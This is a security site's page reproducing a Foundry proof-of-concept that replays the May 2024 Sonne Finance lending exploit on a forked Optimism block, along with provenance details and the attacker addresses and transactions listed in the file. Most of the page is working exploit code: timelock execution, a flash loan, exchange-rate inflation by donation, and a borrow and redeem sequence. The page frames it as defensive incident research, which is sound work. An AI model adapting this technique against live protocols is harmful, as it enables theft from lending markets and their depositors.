Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/Sonne_exp.sol

Public reproduction file for dataset entry Sonne Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/Sonne_exp.sol184 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$20M USD$
8// Attacker EOA1 : https://optimistic.etherscan.io/address/0x5d0d99e9886581ff8fcb01f35804317f5ed80bbb
9// Attacker EOA2 : https://optimistic.etherscan.io/address/0xae4a7cde7c99fb98b0d5fa414aa40f0300531f43
11// Attack Tx1 : https://optimistic.etherscan.io/tx/0x45c0ccfd3ca1b4a937feebcb0f5a166c409c9e403070808835d41da40732db96
12// Attack Tx2 : https://optimistic.etherscan.io/tx/0x9312ae377d7ebdf3c7c3a86f80514878deb5df51aad38b6191d55db53e42b7f0
14// Attack Contract1 : https://optimistic.etherscan.io/address/0xa78aefd483ce3919c0ad55c8a2e5c97cbac1caf8
15// Attack Contract2 : https://optimistic.etherscan.io/address/0x02FA2625825917E9b1F8346a465dE1bBC150C5B9
17// @Info
18// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xe3b81318b1b6776f0877c3770afddff97b9f5fe5
20interface TimelockController {
21 function execute(
22 address target,
23 uint256 value,
24 bytes memory data,
25 bytes32 predecessor,
26 bytes32 salt
27 ) external payable;
30interface VolatileV2Pool {
31 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
34contract ContractTest is Test {
35 address soVELO = 0xe3b81318B1b6776F0877c3770AfDdFf97b9f5fE5;
37 address soUSDC = 0xEC8FEa79026FfEd168cCf5C627c7f486D77b765F;
39 address Unitroller = 0x60CF091cD3f50420d50fD7f707414d0DF4751C58;
41 address VELO_Token_V2 = 0x9560e827aF36c94D2Ac33a39bCE1Fe78631088Db;
43 address USDC = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607;
45 address VolatileV2_USDC_VELO = 0x8134A2fDC127549480865fB8E5A9E8A8a95a54c5;
47 TimelockController t = TimelockController(0x37fF10390F22fABDc2137E428A6E6965960D60b6);
49 function setUp() public {
50 vm.createSelectFork("optimism", 120_062_493 - 1);
51 }
53 function testExploit() public {
54 // 1. Execute proposals
56 bytes memory data1 = hex"fca7820b0000000000000000000000000000000000000000000000000429d069189e0000";
58 bytes memory data2 = hex"f2b3abbd0000000000000000000000007320bd5fa56f8a7ea959a425f0c0b8cac56f741e";
60 bytes memory data3 = hex"55ee1fe100000000000000000000000022c7e5ce392bc951f63b68a8020b121a8e1c0fea";
62 bytes memory data4 = hex"a76b3fda000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe5";
64 bytes memory data5 =
65 hex"e4028eee000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe500000000000000000000000000000000000000000000000004db732547630000";
67 t.execute(
68 soVELO,
69 0,
70 data1,
71 0x0000000000000000000000000000000000000000000000000000000000000000,
72 0x476d385370ae53ff1c1003ab3ce694f2c75ebe40422b0ba11def4846668bc84c
73 );
75 t.execute(
76 soVELO,
77 0,
78 data2,
79 0x0000000000000000000000000000000000000000000000000000000000000000,
80 0xa57973a3d5a5d99d454c54117d7d30a57a8aca089891f505f120174216edaf42
81 );
83 t.execute(
84 Unitroller,
85 0,
86 data3,
87 0x0000000000000000000000000000000000000000000000000000000000000000,
88 0x42408274449fd7829d7fb6abe2e89a618a853acf68d1553b2f6b8b671ac443fd
89 );
91 t.execute(
92 Unitroller,
93 0,
94 data4,
95 0x0000000000000000000000000000000000000000000000000000000000000000,
96 0xb02c80e66eae74aef841e5d998aef03d201de66590950b6353e9a28b289c8c8b
97 );
99 t.execute(
100 Unitroller,
101 0,
102 data5,
103 0x0000000000000000000000000000000000000000000000000000000000000000,
104 0xe50459992a5c9678d53efbffbf6b95687111e5789dada996e41fea2986077bed
105 );
107 // 2. Approve VELO to soVEOLO
109 IERC20(VELO_Token_V2).approve(soVELO, type(uint256).max);
111 // 3. FlashLoan
113 VolatileV2Pool(VolatileV2_USDC_VELO).swap(0, 35_469_150_965_253_049_864_450_449, address(this), hex"01");
114 }
116 function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
117 // 4. Mint 2 wei soVELO
118 CErc20Interface(soVELO).mint(400_000_001);
120 uint256 Velo_amount_of_soVelo = IERC20(VELO_Token_V2).balanceOf(soVELO);
122 console.log("Amount of VELO OF soVELO after minting", Velo_amount_of_soVelo);
124 console.log("Amount of soVELO been mint", IERC20(soVELO).balanceOf(address(this)));
126 // 5. Transfer All VELO_Token_V2 to soVELO
128 uint256 VeloAmountOfthis = IERC20(VELO_Token_V2).balanceOf(address(this));
130 IERC20(VELO_Token_V2).transfer(soVELO, VeloAmountOfthis);
132 uint256 Velo_amount_of_soVelo_after_transfer = IERC20(VELO_Token_V2).balanceOf(soVELO);
134 console.log("Amount of VELO OF soVELO after tranfer", Velo_amount_of_soVelo_after_transfer);
136 // 6. Enter Market
138 address[] memory cTokens = new address[](2);
139 cTokens[0] = soUSDC;
140 cTokens[1] = soVELO;
142 IUnitroller(Unitroller).enterMarkets(cTokens);
144 CErc20Interface(soUSDC).borrow(768_947_220_961);
146 uint256 usdc_amount_after_borrow = IERC20(USDC).balanceOf(address(this));
148 console.log("usdc_amount_after_borrow", usdc_amount_after_borrow);
150 // 7. Redeem
152 // uint256 Amount_redeemAllowed = ICointroller(Unitroller).redeemAllowed(soVELO,address(this),2);
154 ICErc20Delegate(soVELO).redeemUnderlying(Velo_amount_of_soVelo_after_transfer - 1);
156 // ICErc20Delegate(soVELO).redeemUnderlying(1);
158 uint256 Velo_amount_of_Attacker_after_redeem = IERC20(VELO_Token_V2).balanceOf(address(this));
160 console.log("Velo_amount_of_Attacker_after_redeem", Velo_amount_of_Attacker_after_redeem);
162 // // 8. LiquidateBorrow
164 // ICErc20Delegate(soUSDC).liquidateBorrow(address(this), 4651761644569103, soVELO);
166 // 9. Repay FlashLoan
168 IERC20(VELO_Token_V2).transfer(VolatileV2_USDC_VELO, amount1 - 1);
170 // 10. Repay FlashLoan Fee with USDC
172 IERC20(USDC).transfer(VolatileV2_USDC_VELO, 44_656_863_632);
174 // 11. Check profit from this attack
176 uint256 Profit = IERC20(USDC).balanceOf(address(this));
178 console.log("---------------------------------------------------");
180 console.log("USDC Profit from this attack: $", Profit / 10 ** 6);
182 console.log("---------------------------------------------------");
183 }

Analysis

Dataset entry

Public Foundry test for “Sonne Finance” (2024-05-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x5d0d99e9886581ff8fcb01f35804317f5ed80bbb

  • Attacker

    0xae4a7cde7c99fb98b0d5fa414aa40f0300531f43

  • Attack Contract

    0xa78aefd483ce3919c0ad55c8a2e5c97cbac1caf8

  • Attack Contract

    0x02fa2625825917e9b1f8346a465de1bbc150c5b9

  • Vulnerable Contract

    0xe3b81318b1b6776f0877c3770afddff97b9f5fe5

  • Attack Tx

    0x45c0ccfd3ca1b4a937feebcb0f5a166c409c9e403070808835d41da40732db96

  • Attack Tx

    0x9312ae377d7ebdf3c7c3a86f80514878deb5df51aad38b6191d55db53e42b7f0

File record

Name
Sonne Finance
Path
src/test/2024-05/Sonne_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9adae39cbbd801a5e44c1f1702122a565fe2e9d4
Language
Solidity
Size
185 lines
Date
2024-05-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/Sonne_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9adae39cbbd801a5e44c1f1702122a565fe2e9d4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.